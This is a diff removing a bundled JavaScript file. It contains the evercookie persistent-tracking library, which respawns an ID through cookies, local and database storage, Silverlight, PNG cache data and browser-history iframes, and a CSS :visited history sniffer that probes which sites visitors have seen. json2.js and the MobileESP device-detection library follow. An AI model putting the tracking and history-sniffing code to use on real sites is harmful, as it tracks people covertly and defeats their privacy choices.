- img.src = 'evercookie_png.php?name=' + name;
- img.onload = function()
- {
- // put our cookie back
- document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.pngData = '';
- ctx.drawImage(img,0,0);
- // get CanvasPixelArray from given coordinates and dimensions
- var imgd = ctx.getImageData(0, 0, 200, 1);
- var pix = imgd.data;
- // loop over each pixel to get the "RGB" values (ignore alpha)
- for (var i = 0, n = pix.length; i < n; i += 4)
- {
- if (pix[i ] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i]);
- if (pix[i+1] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i+1]);
- if (pix[i+2] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i+2]);
- }
- }
- }
- }
- };
- this.evercookie_local_storage = function(name, value)
- {
- try
- {
- if (window.localStorage)
- {
- if (typeof(value) != "undefined")
- localStorage.setItem(name, value);
- else
- return localStorage.getItem(name);
- }
- }
- catch (e) { }
- };
- this.evercookie_database_storage = function(name, value)
- {
- try
- {
- if (window.openDatabase)
- {
- var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
- if (typeof(value) != "undefined")
- database.transaction(function(tx)
- {
- tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
- "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
- "name TEXT NOT NULL, " +
- "value TEXT NOT NULL, " +
- "UNIQUE (name)" +
- ")", [], function (tx, rs) { }, function (tx, err) { });
- tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
- function (tx, rs) { }, function (tx, err) { })
- });
- else
- {
- database.transaction(function(tx)
- {
- tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
- function(tx, result1) {
- if (result1.rows.length >= 1)
- self._ec.dbData = result1.rows.item(0)['value'];
- else
- self._ec.dbData = '';
- }, function (tx, err) { })
- });
- }
- }
- } catch(e) { }
- };
- this.evercookie_session_storage = function(name, value)
- {
- try
- {
- if (window.sessionStorage)
- {
- if (typeof(value) != "undefined")
- sessionStorage.setItem(name, value);
- else
- return sessionStorage.getItem(name);
- }
- } catch(e) { }
- };
- this.evercookie_global_storage = function(name, value)
- {
- if (window.globalStorage)
- {
- var host = this.getHost();
- try
- {
- if (typeof(value) != "undefined")
- eval("globalStorage[host]." + name + " = value");
- else
- return eval("globalStorage[host]." + name);
- } catch(e) { }
- }
- };
- this.evercookie_silverlight = function(name, value) {
- /*
- * Create silverlight embed
- *
- * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
- * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
- */
- var source = "evercookie.xap";
- var minver = "4.0.50401.0";
- var initParam = "";
- if(typeof(value) != "undefined")
- initParam = '<param name="initParams" value="'+name+'='+value+'" />';
- var html =
- '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
- initParam +
- '<param name="source" value="'+source+'"/>' +
- '<param name="onLoad" value="onSilverlightLoad"/>' +
- '<param name="onError" value="onSilverlightError"/>' +
- '<param name="background" value="Transparent"/>' +
- '<param name="windowless" value="true"/>' +
- '<param name="minRuntimeVersion" value="'+minver+'"/>' +
- '<param name="autoUpgrade" value="true"/>' +
- '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
- '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
- '</a>' +
- '</object>';
- document.body.innerHTML+=html;
- };
- // public method for encoding
- this.encode = function (input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = this._utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output = output +
- _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
- _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
- }
- return output;
- };
- // public method for decoding
- this.decode = function (input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = _baseKeyStr.indexOf(input.charAt(i++));
- enc2 = _baseKeyStr.indexOf(input.charAt(i++));
- enc3 = _baseKeyStr.indexOf(input.charAt(i++));
- enc4 = _baseKeyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = this._utf8_decode(output);
- return output;
- };
- // private method for UTF-8 encoding
- this._utf8_encode = function (string) {
- string = string.replace(/\r\n/g,"\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c);
- }
- else if((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- }
- return utftext;
- };
- // private method for UTF-8 decoding
- this._utf8_decode = function (utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while ( i < utftext.length ) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++;
- }
- else if((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i+1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2;
- }
- else {
- c2 = utftext.charCodeAt(i+1);
- c3 = utftext.charCodeAt(i+2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3;
- }
- }
- return string;
- };
- // this is crazy but it's 4am in dublin and i thought this would be hilarious
- // blame the guinness
- this.evercookie_history = function(name, value)
- {
- // - is special
- var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
- var baseElems = baseStr.split("");
- // sorry google.
- var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
- if (typeof(value) != "undefined")
- {
- // don't reset this if we already have it set once
- // too much data and you can't clear previous values
- if (this.hasVisited(url))
- return;
- this.createIframe(url, 'if');
- url = url + '/';
- var base = this.encode(value).split("");
- for (var i = 0; i < base.length; i++)
- {
- url = url + base[i];
- this.createIframe(url, 'if' + i);
- }
- // - signifies the end of our data
- url = url + '-';
- this.createIframe(url, 'if_');
- }
- else
- {
- // omg you got csspwn3d
- if (this.hasVisited(url))
- {
- url = url + '/';
- var letter = "";
- var val = "";
- var found = 1;
- while (letter != '-' && found == 1)
- {
- found = 0;
- for (var i = 0; i < baseElems.length; i++)
- {
- if (this.hasVisited(url + baseElems[i]))
- {
- letter = baseElems[i];
- if (letter != '-')
- val = val + letter;
- url = url + letter;
- found = 1;
- break;
- }
- }
- }
- // lolz
- return this.decode(val);
- }
- }
- };
- this.createElem = function(type, name, append)
- {
- var el;
- if (typeof name != 'undefined' && document.getElementById(name))
- el = document.getElementById(name);
- else
- el = document.createElement(type);
- el.style.visibility = 'hidden';
- el.style.position = 'absolute';
- if (name)
- el.setAttribute('id', name);
- if (append)
- document.body.appendChild(el);
- return el;
- };
- this.createIframe = function(url, name)
- {
- var el = this.createElem('iframe', name, 1);
- el.setAttribute('src', url);
- return el;
- };
- // wait for our swfobject to appear (swfobject.js to load)
- this.waitForSwf = function(i)
- {
- if (typeof i == 'undefined')
- i = 0;
- else
- i++;
- // wait for ~2 seconds for swfobject to appear
- if (i < _ec_tests && typeof swfobject == 'undefined')
- setTimeout(function() { waitForSwf(i) }, 300);
- };
- this.evercookie_cookie = function(name, value)
- {
- try{
- if (typeof(value) != "undefined")
- {
- // expire the cookie first
- document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- }
- else
- return this.getFromStr(name, document.cookie);
- }catch(e){
- // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
- // evercookie_userdata and evercookie_window will be used in this case.
- }
- };
- // get value from param-like string (eg, "x=y&name=VALUE")
- this.getFromStr = function(name, text)
- {
- if (typeof text != 'string')
- return;
- var nameEQ = name + "=";
- var ca = text.split(/[;&]/);
- for (var i = 0; i < ca.length; i++)
- {
- var c = ca[i];
- while (c.charAt(0) == ' ')
- c = c.substring(1, c.length);
- if (c.indexOf(nameEQ) == 0)
- return c.substring(nameEQ.length, c.length);
- }
- };
- this.getHost = function()
- {
- var domain = document.location.host;
- if (domain.indexOf('www.') == 0)
- domain = domain.replace('www.', '');
- return domain;
- };
- this.toHex = function(str)
- {
- var r = "";
- var e = str.length;
- var c = 0;
- var h;
- while (c < e)
- {
- h = str.charCodeAt(c++).toString(16);
- while (h.length < 2)
- h = "0" + h;
- r += h;
- }
- return r;
- };
- this.fromHex = function(str)
- {
- var r = "";
- var e = str.length;
- var s;
- while (e >= 0)
- {
- s = e - 2;
- r = String.fromCharCode("0x" + str.substring(s, e)) + r;
- e = s;
- }
- return r;
- };
- /*
- * css history knocker (determine what sites your visitors have been to)
- *
- * originally by Jeremiah Grossman
- * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
- *
- * ported to additional browsers by Samy Kamkar
- *
- * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
- *
- * - code@samy.pl
- */
- this.hasVisited = function(url)
- {
- if (this.no_color == -1)
- {
- var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
- if (no_style == -1)
- this.no_color =
- this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
- }
- // did we give full url?
- if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
- return this._testURL(url, this.no_color);
- // if not, just test a few diff types if (exact)
- return this._testURL("http://" + url, this.no_color) ||
- this._testURL("https://" + url, this.no_color) ||
- this._testURL("http://www." + url, this.no_color) ||
- this._testURL("https://www." + url, this.no_color);
- };
- /* create our anchor tag */
- var _link = this.createElem('a', '_ec_rgb_link');
- /* for monitoring */
- var created_style;
- /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
- var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
- /* Methods for IE6, IE7, FF, Opera, and Safari */
- try {
- created_style = 1;
- var style = document.createElement('style');
- if (style.styleSheet)
- style.styleSheet.innerHTML = _cssText;
- else if (style.innerHTML)
- style.innerHTML = _cssText;
- else
- {
- var cssT = document.createTextNode(_cssText);
- style.appendChild(cssT);
- }
- } catch (e) {
- created_style = 0;
- }
- /* if test_color, return -1 if we can't set a style */
- this._getRGB = function (u, test_color) {
- if (test_color && created_style == 0)
- return -1;
- /* create the new anchor tag with the appropriate URL information */
- _link.href = u;
- _link.innerHTML = u;
- // not sure why, but the next two appendChilds always have to happen vs just once
- document.body.appendChild(style);
- document.body.appendChild(_link);
- /* add the link to the DOM and save the visible computed color */
- var color;
- if (document.defaultView)
- color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
- else
- color = _link.currentStyle['color'];
- return color;
- };
- this._testURL = function(url, no_color){
- var color = this._getRGB(url);
- /* check to see if the link has been visited if the computed color is red */
- if (color == "rgb(255, 0, 0)" || color == "#ff0000")
- return 1;
- /* if our style trick didn't work, just compare default style colors */
- else if (no_color && color != no_color)
- return 1;
- /* not found */
- return 0;
- }
- };
- return _class;
- })();
- /*
- * Again, ugly workaround....same problem as flash.
- */
- var _global_isolated;
- function onSilverlightLoad(sender, args) {
- var control = sender.getHost();
- _global_isolated = control.Content.App.getIsolatedStorage();
- }
- /*
- function onSilverlightError(sender, args) {
- _global_isolated = "";
- }*/
- function onSilverlightError(sender, args) {
- _global_isolated = "";
- }
- // json2.js
- // 2016-10-28
- // Public Domain.
- // NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
- // See http://www.JSON.org/js.html
- // This code should be minified before deployment.
- // See http://javascript.crockford.com/jsmin.html
- // USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
- // NOT CONTROL.
- // This file creates a global JSON object containing two methods: stringify
- // and parse. This file provides the ES5 JSON capability to ES3 systems.
- // If a project might run on IE8 or earlier, then this file should be included.
- // This file does nothing on ES5 systems.
- // Create a JSON object only if one does not already exist. We create the
- // methods in a closure to avoid creating global variables.
- if (typeof JSON !== "object") {
- JSON = {};
- }
- (function () {
- "use strict";
- var rx_one = /^[\],:{}\s]*$/;
- var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
- var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
- var rx_four = /(?:^|:|,)(?:\s*\[)+/g;
- var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
- var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
- function f(n) {
- // Format integers to have at least two digits.
- return n < 10
- ? "0" + n
- : n;
- }
- function this_value() {
- return this.valueOf();
- }
- if (typeof Date.prototype.toJSON !== "function") {
- Date.prototype.toJSON = function () {
- return isFinite(this.valueOf())
- ? this.getUTCFullYear() + "-" +
- f(this.getUTCMonth() + 1) + "-" +
- f(this.getUTCDate()) + "T" +
- f(this.getUTCHours()) + ":" +
- f(this.getUTCMinutes()) + ":" +
- f(this.getUTCSeconds()) + "Z"
- : null;
- };
- Boolean.prototype.toJSON = this_value;
- Number.prototype.toJSON = this_value;
- String.prototype.toJSON = this_value;
- }
- var gap;
- var indent;
- var meta;
- var rep;
- function quote(string) {
- // If the string contains no control characters, no quote characters, and no
- // backslash characters, then we can safely slap some quotes around it.
- // Otherwise we must also replace the offending characters with safe escape
- // sequences.
- rx_escapable.lastIndex = 0;
- return rx_escapable.test(string)
- ? "\"" + string.replace(rx_escapable, function (a) {
- var c = meta[a];
- return typeof c === "string"
- ? c
- : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
- }) + "\""
- : "\"" + string + "\"";
- }
- function str(key, holder) {
- // Produce a string from holder[key].
- var i; // The loop counter.
- var k; // The member key.
- var v; // The member value.
- var length;
- var mind = gap;
- var partial;
- var value = holder[key];
- // If the value has a toJSON method, call it to obtain a replacement value.
- if (value && typeof value === "object" &&
- typeof value.toJSON === "function") {
- value = value.toJSON(key);
- }
- // If we were called with a replacer function, then call the replacer to
- // obtain a replacement value.
- if (typeof rep === "function") {
- value = rep.call(holder, key, value);
- }
- // What happens next depends on the value's type.
- switch (typeof value) {
- case "string":
- return quote(value);
- case "number":
- // JSON numbers must be finite. Encode non-finite numbers as null.
- return isFinite(value)
- ? String(value)
- : "null";
- case "boolean":
- case "null":
- // If the value is a boolean or null, convert it to a string. Note:
- // typeof null does not produce "null". The case is included here in
- // the remote chance that this gets fixed someday.
- return String(value);
- // If the type is "object", we might be dealing with an object or an array or
- // null.
- case "object":
- // Due to a specification blunder in ECMAScript, typeof null is "object",
- // so watch out for that case.
- if (!value) {
- return "null";
- }
- // Make an array to hold the partial results of stringifying this object value.
- gap += indent;
- partial = [];
- // Is the value an array?
- if (Object.prototype.toString.apply(value) === "[object Array]") {
- // The value is an array. Stringify every element. Use null as a placeholder
- // for non-JSON values.
- length = value.length;
- for (i = 0; i < length; i += 1) {
- partial[i] = str(i, value) || "null";
- }
- // Join all of the elements together, separated with commas, and wrap them in
- // brackets.
- v = partial.length === 0
- ? "[]"
- : gap
- ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
- : "[" + partial.join(",") + "]";
- gap = mind;
- return v;
- }
- // If the replacer is an array, use it to select the members to be stringified.
- if (rep && typeof rep === "object") {
- length = rep.length;
- for (i = 0; i < length; i += 1) {
- if (typeof rep[i] === "string") {
- k = rep[i];
- v = str(k, value);
- if (v) {
- partial.push(quote(k) + (
- gap
- ? ": "
- : ":"
- ) + v);
- }
- }
- }
- } else {
- // Otherwise, iterate through all of the keys in the object.
- for (k in value) {
- if (Object.prototype.hasOwnProperty.call(value, k)) {
- v = str(k, value);
- if (v) {
- partial.push(quote(k) + (
- gap
- ? ": "
- : ":"
- ) + v);
- }
- }
- }
- }
- // Join all of the member texts together, separated with commas,
- // and wrap them in braces.
- v = partial.length === 0
- ? "{}"
- : gap
- ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
- : "{" + partial.join(",") + "}";
- gap = mind;
- return v;
- }
- }
- // If the JSON object does not yet have a stringify method, give it one.
- if (typeof JSON.stringify !== "function") {
- meta = { // table of character substitutions
- "\b": "\\b",
- "\t": "\\t",
- "\n": "\\n",
- "\f": "\\f",
- "\r": "\\r",
- "\"": "\\\"",
- "\\": "\\\\"
- };
- JSON.stringify = function (value, replacer, space) {
- // The stringify method takes a value and an optional replacer, and an optional
- // space parameter, and returns a JSON text. The replacer can be a function
- // that can replace values, or an array of strings that will select the keys.
- // A default replacer method can be provided. Use of the space parameter can
- // produce text that is more easily readable.
- var i;
- gap = "";
- indent = "";
- // If the space parameter is a number, make an indent string containing that
- // many spaces.
- if (typeof space === "number") {
- for (i = 0; i < space; i += 1) {
- indent += " ";
- }
- // If the space parameter is a string, it will be used as the indent string.
- } else if (typeof space === "string") {
- indent = space;
- }
- // If there is a replacer, it must be a function or an array.
- // Otherwise, throw an error.
- rep = replacer;
- if (replacer && typeof replacer !== "function" &&
- (typeof replacer !== "object" ||
- typeof replacer.length !== "number")) {
- throw new Error("JSON.stringify");
- }
- // Make a fake root object containing our value under the key of "".
- // Return the result of stringifying the value.
- return str("", {"": value});
- };
- }
- // If the JSON object does not yet have a parse method, give it one.
- if (typeof JSON.parse !== "function") {
- JSON.parse = function (text, reviver) {
- // The parse method takes a text and an optional reviver function, and returns
- // a JavaScript value if the text is a valid JSON text.
- var j;
- function walk(holder, key) {
- // The walk method is used to recursively walk the resulting structure so
- // that modifications can be made.
- var k;
- var v;
- var value = holder[key];
- if (value && typeof value === "object") {
- for (k in value) {
- if (Object.prototype.hasOwnProperty.call(value, k)) {
- v = walk(value, k);
- if (v !== undefined) {
- value[k] = v;
- } else {
- delete value[k];
- }
- }
- }
- }
- return reviver.call(holder, key, value);
- }
- // Parsing happens in four stages. In the first stage, we replace certain
- // Unicode characters with escape sequences. JavaScript handles many characters
- // incorrectly, either silently deleting them, or treating them as line endings.
- text = String(text);
- rx_dangerous.lastIndex = 0;
- if (rx_dangerous.test(text)) {
- text = text.replace(rx_dangerous, function (a) {
- return "\\u" +
- ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
- });
- }
- // In the second stage, we run the text against regular expressions that look
- // for non-JSON patterns. We are especially concerned with "()" and "new"
- // because they can cause invocation, and "=" because it can cause mutation.
- // But just to be safe, we want to reject all unexpected forms.
- // We split the second stage into 4 regexp operations in order to work around
- // crippling inefficiencies in IE's and Safari's regexp engines. First we
- // replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
- // replace all simple value tokens with "]" characters. Third, we delete all
- // open brackets that follow a colon or comma or that begin the text. Finally,
- // we look to see that the remaining characters are only whitespace or "]" or
- // "," or ":" or "{" or "}". If that is so, then the text is safe for eval.
- if (
- rx_one.test(
- text
- .replace(rx_two, "@")
- .replace(rx_three, "]")
- .replace(rx_four, "")
- )
- ) {
- // In the third stage we use the eval function to compile the text into a
- // JavaScript structure. The "{" operator is subject to a syntactic ambiguity
- // in JavaScript: it can begin a block or an object literal. We wrap the text
- // in parens to eliminate the ambiguity.
- j = eval("(" + text + ")");
- // In the optional fourth stage, we recursively walk the new structure, passing
- // each name/value pair to a reviver function for possible transformation.
- return (typeof reviver === "function")
- ? walk({"": j}, "")
- : j;
- }
- // If the text is not JSON parseable, then a SyntaxError is thrown.
- throw new SyntaxError("JSON.parse");
- };
- }
- }());
- /* *******************************************
- // Copyright 2010-2015, Anthony Hand
- //
- // BETA NOTICE
- // Previous versions of the JavaScript code for MobileESP were 'regular'
- // JavaScript. The strength of it was that it was really easy to code and use.
- // Unfortunately, regular JavaScript means that all variables and functions
- // are in the global namespace. There can be collisions with other code libraries
- // which may have similar variable or function names. Collisions cause bugs as each
- // library changes a variable's definition or functionality unexpectedly.
- // As a result, we thought it wise to switch to an "object oriented" style of code.
- // This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.
- // It avoids potential for collisions with other JavaScript libraries.
- // This technique allows the developer continued access to any desired function or property.
- //
- // Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com
- //
- //
- // File version 2015.05.13 (May 13, 2015)
- // Updates:
- // - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp
- // - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet.
- // - Removed DetectOperaAndroidPhone(). This method is no longer reliable.
- // - Removed DetectOperaAndroidTablet(). This method is no longer reliable.
- // - Added support for Windows Phone 10: variable and DetectWindowsPhone10()
- // - Updated DetectWindowsPhone() to include WP10.
- // - Added support for Firefox OS.
- // - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()
- // - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.
- // - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time.
- // - A variable plus DetectSailfish(), DetectSailfishPhone()
- // - Added support for Ubuntu Mobile OS.
- // - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()
- // - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps.
- // - One variable for Samsung Tizen TVs, plus DetectTizenTV()
- // - One variable for LG WebOS TVs, plus DetectWebOSTV()
- // - Updated DetectTizen(). Now tests for “mobile†to disambiguate from Samsung Smart TVs
- // - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.
- // - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet.
- // - Updated DetectAndroidPhone().
- // - Updated internal detection code for Android.
- // - No longer has a special test case for the HTC Flyer tablet.
- // - Checks against DetectOperaMobile() on Android and reports here if relevant.
- // - Updated DetectAndroidTablet().
- // - No longer has a special test case for the HTC Flyer tablet.
- // - Checks against DetectOperaMobile() on Android to exclude it from here.
- // - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones.
- // - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.
- // - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile.
- // - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile.
- // - DetectSmartphone(): Added support for Meego phones.
- // - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():
- // - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()
- //
- //
- //
- // LICENSE INFORMATION
- // Licensed under the Apache License, Version 2.0 (the "License");
- // you may not use this file except in compliance with the License.
- // You may obtain a copy of the License at
- // http://www.apache.org/licenses/LICENSE-2.0
- // Unless required by applicable law or agreed to in writing,
- // software distributed under the License is distributed on an
- // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
- // either express or implied. See the License for the specific
- // language governing permissions and limitations under the License.
- //
- //
- // ABOUT THIS PROJECT
- // Project Owner: Anthony Hand
- // Email: anthony.hand@gmail.com
- // Web Site: http://www.mobileesp.com
- // Source Files: https://github.com/ahand/mobileesp
- //
- // Versions of this code are available for:
- // PHP, JavaScript, Java, ASP.NET (C#), Ruby and others
- //
- //
- // WARNING:
- // These JavaScript-based device detection features may ONLY work
- // for the newest generation of smartphones, such as the iPhone,
- // Android and Palm WebOS devices.
- // These device detection features may NOT work for older smartphones
- // which had poor support for JavaScript, including
- // older BlackBerry, PalmOS, and Windows Mobile devices.
- // Additionally, because JavaScript support is extremely poor among
- // 'feature phones', these features may not work at all on such devices.
- // For better results, consider using a server-based version of this code,
- // such as Java, APS.NET, PHP, or Ruby.
- //
- // *******************************************
- */
- var MobileEsp = {
- //GLOBALLY USEFUL VARIABLES
- //Note: These values are set automatically during the Init function.
- //Stores whether we're currently initializing the most popular functions.
- initCompleted : false,
- isWebkit : false, //Stores the result of DetectWebkit()
- isMobilePhone : false, //Stores the result of DetectMobileQuick()
- isIphone : false, //Stores the result of DetectIphone()
- isAndroid : false, //Stores the result of DetectAndroid()
- isAndroidPhone : false, //Stores the result of DetectAndroidPhone()
- isTierTablet : false, //Stores the result of DetectTierTablet()
- isTierIphone : false, //Stores the result of DetectTierIphone()
- isTierRichCss : false, //Stores the result of DetectTierRichCss()
- isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()
- //INTERNALLY USED DETECTION STRING VARIABLES
- engineWebKit : 'webkit',
- deviceIphone : 'iphone',
- deviceIpod : 'ipod',
- deviceIpad : 'ipad',
- deviceMacPpc : 'macintosh', //Used for disambiguation
- deviceAndroid : 'android',
- deviceGoogleTV : 'googletv',
- deviceWinPhone7 : 'windows phone os 7',
- deviceWinPhone8 : 'windows phone 8',
- deviceWinPhone10 : 'windows phone 10',
- deviceWinMob : 'windows ce',
- deviceWindows : 'windows',
- deviceIeMob : 'iemobile',
- devicePpc : 'ppc', //Stands for PocketPC
- enginePie : 'wm5 pie', //An old Windows Mobile
- deviceBB : 'blackberry',
- deviceBB10 : 'bb10', //For the new BB 10 OS
- vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox
- deviceBBStorm : 'blackberry95', //Storm 1 and 2
- deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)
- deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)
- deviceBBTour : 'blackberry96', //Tour
- deviceBBCurve : 'blackberry89', //Curve 2
- deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380
- deviceBBTorch : 'blackberry 98', //Torch
- deviceBBPlaybook : 'playbook', //PlayBook tablet
- deviceSymbian : 'symbian',
- deviceSymbos : 'symbos', //Opera 10 on Symbian
- deviceS60 : 'series60',
- deviceS70 : 'series70',
- deviceS80 : 'series80',
- deviceS90 : 'series90',
- devicePalm : 'palm',
- deviceWebOS : 'webos', //For Palm devices
- deviceWebOStv : 'web0s', //For LG TVs
- deviceWebOShp : 'hpwos', //For HP's line of WebOS devices
- deviceNuvifone : 'nuvifone', //Garmin Nuvifone
- deviceBada : 'bada', //Samsung's Bada OS
- deviceTizen : 'tizen', //Tizen OS
- deviceMeego : 'meego', //Meego OS
- deviceSailfish : 'sailfish', //Sailfish OS
- deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS
- deviceKindle : 'kindle', //Amazon eInk Kindle
- engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire
- engineBlazer : 'blazer', //Old Palm browser
- engineXiino : 'xiino',
- //Initialize variables for mobile-specific content.
- vndwap : 'vnd.wap',
- wml : 'wml',
- //Initialize variables for random devices and mobile browsers.
- //Some of these may not support JavaScript
- deviceTablet : 'tablet',
- deviceBrew : 'brew',
- deviceDanger : 'danger',
- deviceHiptop : 'hiptop',
- devicePlaystation : 'playstation',
- devicePlaystationVita : 'vita',
- deviceNintendoDs : 'nitro',
- deviceNintendo : 'nintendo',
- deviceWii : 'wii',
- deviceXbox : 'xbox',
- deviceArchos : 'archos',
- engineFirefox : 'firefox', //For Firefox OS
- engineOpera : 'opera', //Popular browser
- engineNetfront : 'netfront', //Common embedded OS browser
- engineUpBrowser : 'up.browser', //common on some phones
- deviceMidp : 'midp', //a mobile Java technology
- uplink : 'up.link',
- engineTelecaQ : 'teleca q', //a modern feature phone browser
- engineObigo : 'obigo', //W 10 is a modern feature phone browser
- devicePda : 'pda',
- mini : 'mini', //Some mobile browsers put 'mini' in their names
- mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings
- mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings
- //Smart TV strings
- smartTV1 : 'smart-tv', //Samsung Tizen smart TVs
- smartTV2 : 'smarttv', //LG WebOS smart TVs
- //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.
- maemo : 'maemo',
- linux : 'linux',
- mylocom2 : 'sony/com', // for Sony Mylo 1 and 2
- //In some UserAgents, the only clue is the manufacturer
- manuSonyEricsson : 'sonyericsson',
- manuericsson : 'ericsson',
- manuSamsung1 : 'sec-sgh',
- manuSony : 'sony',
- manuHtc : 'htc', //Popular Android and WinMo manufacturer
- //In some UserAgents, the only clue is the operator
- svcDocomo : 'docomo',
- svcKddi : 'kddi',
- svcVodafone : 'vodafone',
- //Disambiguation strings.
- disUpdate : 'update', //pda vs. update
- //Holds the User Agent string value.
- uagent : '',
- //Initializes key MobileEsp variables
- InitDeviceScan : function() {
- this.initCompleted = false;
- if (navigator && navigator.userAgent)
